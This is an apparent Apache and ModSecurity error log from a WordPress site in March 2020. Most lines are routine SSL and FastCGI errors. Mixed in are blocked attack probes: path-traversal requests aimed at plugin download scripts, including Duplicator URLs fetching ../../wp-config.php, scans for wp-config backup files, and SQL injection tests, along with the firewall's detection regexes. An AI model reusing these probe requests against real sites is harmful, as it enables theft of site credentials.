[Thu Mar 19 21:01:28.866154 2020] [:error] [pid 5454] [client 178.213.186.51:64367] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:path"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:path. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/wp-filemanager/incl/libfile.php"] [unique_id "XnPPmFLFIKHLubCzZaD8wgAAABQ"]
[Thu Mar 19 21:01:29.227736 2020] [:error] [pid 5454] [client 178.213.186.51:64367] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/wp-imagezoom/download.php"] [unique_id "XnPPmVLFIKHLubCzZaD8wwAAABQ"]
[Thu Mar 19 21:01:29.396842 2020] [:error] [pid 5454] [client 178.213.186.51:64367] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:pg"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:pg. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/wp-lytebox/main.php"] [unique_id "XnPPmVLFIKHLubCzZaD8xAAAABQ"]
[Thu Mar 19 21:01:29.507984 2020] [:error] [pid 5454] [client 178.213.186.51:64367] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:fileurl"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:fileurl. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/wp-miniaudioplayer/map_download.php"] [unique_id "XnPPmVLFIKHLubCzZaD8xQAAABQ"]
[Thu Mar 19 21:11:31.732296 2020] [:error] [pid 7294] [client 178.213.186.51:63587] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:f"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:f. [hostname "fincasandoval.com"] [uri "/wp-content/themes/duena/download.php"] [unique_id "XnPR84TYpKFxejmERwukMAAAAAY"]
[Thu Mar 19 21:11:31.894127 2020] [:error] [pid 7294] [client 178.213.186.51:63587] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/themes/endlesshorizon/download.php"] [unique_id "XnPR84TYpKFxejmERwukMQAAAAY"]
[Thu Mar 19 21:11:31.958545 2020] [:error] [pid 7294] [client 178.213.186.51:63587] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:files"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:files. [hostname "fincasandoval.com"] [uri "/wp-content/themes/mTheme-Unus/css/css.php"] [unique_id "XnPR84TYpKFxejmERwukMgAAAAY"]
[Thu Mar 19 21:11:32.062261 2020] [:error] [pid 7294] [client 178.213.186.51:63587] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-content/themes/NativeChurch/download/download.php"] [unique_id "XnPR9ITYpKFxejmERwukMwAAAAY"]
[Thu Mar 19 21:11:32.135543 2020] [:error] [pid 7294] [client 178.213.186.51:63587] [client 178.213.186.51] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:arquivo"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:arquivo. [hostname "fincasandoval.com"] [uri "/wp-content/themes/estrutura-basica/scripts/download.php"] [unique_id "XnPR9ITYpKFxejmERwukNAAAAAY"]
[Thu Mar 19 22:50:17.674239 2020] [proxy_fcgi:error] [pid 18593] [client 193.106.30.99:39088] AH01071: Got error 'Primary script unknown\n'
[Fri Mar 20 09:09:05.440580 2020] [authz_core:error] [pid 1042] [client 177.75.21.191:49419] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/akismet/akismet.php
[Fri Mar 20 09:09:05.506939 2020] [proxy_fcgi:error] [pid 788] [client 177.75.21.191:49415] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function add_action() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/hello.php:69\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/hello.php on line 69\n'
[Fri Mar 20 11:48:00.465041 2020] [authz_core:error] [pid 21395] [client 199.249.230.118:35728] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.1, referer: fincasandoval.com
[Fri Mar 20 11:48:03.385644 2020] [authz_core:error] [pid 21491] [client 199.249.230.118:36790] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.swp, referer: fincasandoval.com
[Fri Mar 20 11:48:05.350039 2020] [authz_core:error] [pid 21499] [client 185.220.102.6:40675] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.disabled, referer: fincasandoval.com
[Fri Mar 20 11:48:07.830191 2020] [authz_core:error] [pid 21501] [client 109.70.100.32:55921] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.bak, referer: fincasandoval.com
[Fri Mar 20 11:48:09.739662 2020] [authz_core:error] [pid 21395] [client 109.70.100.32:63227] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.new, referer: fincasandoval.com
[Fri Mar 20 11:48:15.130451 2020] [authz_core:error] [pid 21492] [client 46.165.245.154:56704] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.old, referer: fincasandoval.com
[Fri Mar 20 11:48:34.987538 2020] [authz_core:error] [pid 21451] [client 217.170.205.107:55342] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.backup, referer: fincasandoval.com
[Fri Mar 20 11:48:37.492019 2020] [authz_core:error] [pid 21492] [client 145.239.91.37:59903] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.save, referer: fincasandoval.com
[Fri Mar 20 11:48:44.948676 2020] [authz_core:error] [pid 21115] [client 185.129.62.62:52955] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php~, referer: fincasandoval.com
[Fri Mar 20 11:48:47.832437 2020] [authz_core:error] [pid 21499] [client 199.249.230.81:59748] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php_, referer: fincasandoval.com
[Fri Mar 20 11:48:50.061876 2020] [authz_core:error] [pid 21592] [client 199.249.230.81:60864] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.orig, referer: fincasandoval.com
[Fri Mar 20 11:48:51.726031 2020] [authz_core:error] [pid 21589] [client 51.255.45.144:54756] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php_orig, referer: fincasandoval.com
[Sat Mar 21 00:52:25.576746 2020] [proxy_fcgi:error] [pid 31212] [client 193.106.30.99:33070] AH01071: Got error 'Primary script unknown\n'
[Sat Mar 21 01:02:31.946593 2020] [authz_core:error] [pid 32557] [client 78.85.153.84:59958] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/duplicator
[Sat Mar 21 14:39:52.705967 2020] [proxy_fcgi:error] [pid 26240] [client 193.106.30.99:52844] AH01071: Got error 'Primary script unknown\n'
[Sun Mar 22 00:33:38.560565 2020] [proxy_fcgi:error] [pid 23438] [client 185.208.159.78:54356] AH01071: Got error 'Primary script unknown\n'
[Sun Mar 22 00:33:40.221472 2020] [proxy_fcgi:error] [pid 23565] [client 185.208.159.78:54506] AH01071: Got error 'Primary script unknown\n'
[Sun Mar 22 10:05:50.708379 2020] [proxy_fcgi:error] [pid 23585] [client 193.106.30.99:55818] AH01071: Got error 'Primary script unknown\n'
[Sun Mar 22 10:55:15.013473 2020] [autoindex:error] [pid 30338] [client 192.227.152.122:50822] AH01276: Cannot serve directory /var/www/vhosts/fincasandoval.com/httpdocs/test/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
[Sun Mar 22 21:57:07.759727 2020] [ssl:error] [pid 5463] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:07.776088 2020] [ssl:error] [pid 5463] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:09.987611 2020] [ssl:error] [pid 5895] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:09.987658 2020] [ssl:error] [pid 5895] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:11.737792 2020] [ssl:error] [pid 6061] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:11.737836 2020] [ssl:error] [pid 6061] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:14.226360 2020] [ssl:error] [pid 5463] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:14.226406 2020] [ssl:error] [pid 5463] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:16.918183 2020] [ssl:error] [pid 5626] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:16.918250 2020] [ssl:error] [pid 5626] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:19.007057 2020] [ssl:error] [pid 5463] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:19.007101 2020] [ssl:error] [pid 5463] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:21.629361 2020] [ssl:error] [pid 5987] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:21.629423 2020] [ssl:error] [pid 5987] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:24.079975 2020] [ssl:error] [pid 5626] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:24.080019 2020] [ssl:error] [pid 5626] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:26.701502 2020] [ssl:error] [pid 6161] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:26.701558 2020] [ssl:error] [pid 6161] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:29.129036 2020] [ssl:error] [pid 6162] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:29.129083 2020] [ssl:error] [pid 6162] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:31.866185 2020] [ssl:error] [pid 5626] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:31.866232 2020] [ssl:error] [pid 5626] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:34.463525 2020] [ssl:error] [pid 6052] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:34.463572 2020] [ssl:error] [pid 6052] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:37.060023 2020] [ssl:error] [pid 6181] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:37.060069 2020] [ssl:error] [pid 6181] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:39.286754 2020] [ssl:error] [pid 6161] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:39.286801 2020] [ssl:error] [pid 6161] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:41.527375 2020] [ssl:error] [pid 6061] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:41.527480 2020] [ssl:error] [pid 6061] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:43.869091 2020] [ssl:error] [pid 6052] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:43.869137 2020] [ssl:error] [pid 6052] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:46.465379 2020] [ssl:error] [pid 5463] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:46.465426 2020] [ssl:error] [pid 5463] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:48.946898 2020] [ssl:error] [pid 6085] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:48.946960 2020] [ssl:error] [pid 6085] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:51.516543 2020] [ssl:error] [pid 5463] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Mar 22 21:57:51.516584 2020] [ssl:error] [pid 5463] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Mar 23 15:39:45.186335 2020] [authz_core:error] [pid 13526] [client 78.85.147.109:35214] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/duplicator
[Mon Mar 23 19:39:57.789510 2020] [proxy_fcgi:error] [pid 10848] [client 193.106.30.99:55896] AH01071: Got error 'Primary script unknown\n'
[Tue Mar 24 08:10:11.743458 2020] [ssl:error] [pid 8084] AH02032: Hostname www.otcbvs.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 08:10:11.767287 2020] [ssl:error] [pid 8084] AH02032: Hostname www.otcbvs.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:00.284631 2020] [ssl:error] [pid 6976] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:00.417360 2020] [ssl:error] [pid 6976] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:01.790787 2020] [ssl:error] [pid 6545] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:01.790834 2020] [ssl:error] [pid 6545] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:03.327713 2020] [ssl:error] [pid 6750] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:03.327773 2020] [ssl:error] [pid 6750] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:04.726860 2020] [ssl:error] [pid 6985] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:04.726909 2020] [ssl:error] [pid 6985] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:06.091032 2020] [ssl:error] [pid 6873] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:06.091078 2020] [ssl:error] [pid 6873] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:07.476368 2020] [ssl:error] [pid 6743] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:07.476416 2020] [ssl:error] [pid 6743] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:08.906255 2020] [ssl:error] [pid 6976] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:08.906349 2020] [ssl:error] [pid 6976] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:10.185598 2020] [ssl:error] [pid 6545] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:10.185647 2020] [ssl:error] [pid 6545] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:11.441113 2020] [ssl:error] [pid 6750] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:11.441166 2020] [ssl:error] [pid 6750] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:12.789198 2020] [ssl:error] [pid 6816] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:12.789262 2020] [ssl:error] [pid 6816] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:14.143491 2020] [ssl:error] [pid 6753] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:14.143542 2020] [ssl:error] [pid 6753] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:15.494038 2020] [ssl:error] [pid 6985] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:15.494087 2020] [ssl:error] [pid 6985] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:16.793970 2020] [ssl:error] [pid 6817] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:16.794027 2020] [ssl:error] [pid 6817] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:18.175350 2020] [ssl:error] [pid 6743] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:18.175401 2020] [ssl:error] [pid 6743] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:19.663428 2020] [ssl:error] [pid 6985] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:19.663480 2020] [ssl:error] [pid 6985] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:21.081444 2020] [ssl:error] [pid 6743] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:21.081491 2020] [ssl:error] [pid 6743] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:22.411049 2020] [ssl:error] [pid 7121] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:22.411112 2020] [ssl:error] [pid 7121] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:23.674033 2020] [ssl:error] [pid 6750] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:23.674087 2020] [ssl:error] [pid 6750] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:25.053305 2020] [ssl:error] [pid 6976] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Mar 24 15:20:25.053367 2020] [ssl:error] [pid 6976] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Mar 25 02:38:33.235534 2020] [proxy_fcgi:error] [pid 9633] [client 193.106.30.99:46330] AH01071: Got error 'Primary script unknown\n'
[Wed Mar 25 06:44:58.647534 2020] [proxy_fcgi:error] [pid 10778] [client 66.249.76.150:35189] AH01071: Got error 'Primary script unknown\n'
[Wed Mar 25 12:25:35.684102 2020] [authz_core:error] [pid 30189] [client 164.132.108.204:59386] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/site, referer: http://fincasandoval.com/site/license.txt
[Wed Mar 25 19:30:13.104918 2020] [authz_core:error] [pid 28864] [client 47.98.248.65:45634] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/temp, referer: http://fincasandoval.com/temp/license.txt
[Wed Mar 25 20:11:00.437783 2020] [proxy_fcgi:error] [pid 1820] [client 82.117.194.229:35536] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Thu Mar 26 01:12:34.178036 2020] [authz_core:error] [pid 9861] [client 139.196.233.108:48460] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/web, referer: http://fincasandoval.com/web/license.txt
[Thu Mar 26 02:06:41.818273 2020] [authz_core:error] [pid 15164] [client 78.85.180.9:35612] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/duplicator
[Thu Mar 26 07:39:17.330915 2020] [authz_core:error] [pid 32358] [client 118.31.121.129:59524] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/www, referer: http://fincasandoval.com/www/license.txt
[Thu Mar 26 10:10:17.569595 2020] [proxy_fcgi:error] [pid 17526] [client 193.106.30.99:55586] AH01071: Got error 'Primary script unknown\n'
[Thu Mar 26 13:57:42.079327 2020] [authz_core:error] [pid 20678] [client 39.100.76.163:48642] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/main, referer: http://fincasandoval.com/main/license.txt
[Fri Mar 27 10:40:38.873421 2020] [proxy_fcgi:error] [pid 3785] [client 193.106.30.99:51572] AH01071: Got error 'Primary script unknown\n'
[Fri Mar 27 15:04:30.265613 2020] [proxy_fcgi:error] [pid 9449] [client 178.128.151.69:47226] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Fri Mar 27 15:05:23.189473 2020] [proxy_fcgi:error] [pid 10236] [client 178.128.151.69:51742] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Sat Mar 28 03:42:16.102630 2020] [:error] [pid 16708] [client 109.254.254.3:60724] [client 109.254.254.3] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "Xn65iBPk8X0oEuSnXacYfgAAAAY"], referer: http://fincasandoval.com/wp-admin/admin-ajax.php?action=duplicator_pro_download&file=../../wp-config.php
[Sat Mar 28 03:42:16.128992 2020] [:error] [pid 16709] [client 109.254.254.3:60723] [client 109.254.254.3] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:file"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:file. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "Xn65iCuLm4Ewv9Czq1F8UgAAAAs"], referer: http://fincasandoval.com/wp-admin/admin-ajax.php?action=duplicator_download&file=../../wp-config.php
[Sat Mar 28 07:07:17.456463 2020] [proxy_fcgi:error] [pid 15760] [client 193.106.30.99:46344] AH01071: Got error 'Primary script unknown\n'
[Sat Mar 28 07:07:17.476126 2020] [proxy_fcgi:error] [pid 14064] [client 193.106.30.99:46338] AH01071: Got error 'Primary script unknown\n'
[Sat Mar 28 16:31:58.304217 2020] [authz_core:error] [pid 23927] [client 47.101.179.158:49054] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/res, referer: http://fincasandoval.com/res/license.txt
[Sat Mar 28 22:31:25.557088 2020] [authz_core:error] [pid 928] [client 185.50.198.186:56095] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/backup, referer: http://fincasandoval.com/backup/license.txt
[Sun Mar 29 00:05:47.401285 2020] [authz_core:error] [pid 12695] [client 78.85.180.9:37620] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/duplicator
[Sun Mar 29 00:44:39.977617 2020] [proxy_fcgi:error] [pid 17104] [client 193.106.30.99:47908] AH01071: Got error 'Primary script unknown\n'
[Sun Mar 29 03:00:46.878981 2020] [:error] [pid 22435] [client 45.227.255.227:46130] [client 45.227.255.227] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "88"] [id "33340145"] [rev "43"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Possible SQL injection probe"] [data " 1=1"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Match of "rx (?:/index\\\\.php/admin/catalog_category/save|(?:/admin/stats|/css/gallery-css)\\\\.php\\\\?1=1|/admin\\\\.php\\\\?tile=mail$|/catalog_category/save/key/|/\\\\?op=admin_settings|^/\\\\?openpage=|/^admin/extra)" against "REQUEST_URI" required. [hostname "fincasandoval.com"] [uri "/index.php"] [unique_id "Xn-zPgYWJ@TA3WgWpcyItwAAADo"]
[Sun Mar 29 03:00:52.512200 2020] [:error] [pid 22403] [client 45.227.255.227:50362] [client 45.227.255.227] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "130"] [id "33340156"] [rev "14"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic SQL injection protection"] [data "6450=6450"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\b(\\\\d+) ?= ?\\\\1\\\\b|[\\\\'\\"](\\\\w+)[\\\\'\\"] ?= ?[\\\\'\\"]\\\\2\\\\b" at ARGS:rest_route. [hostname "fincasandoval.com"] [uri "/index.php"] [unique_id "Xn-zRIC9m4ZS7nip6qSciAAAABw"]
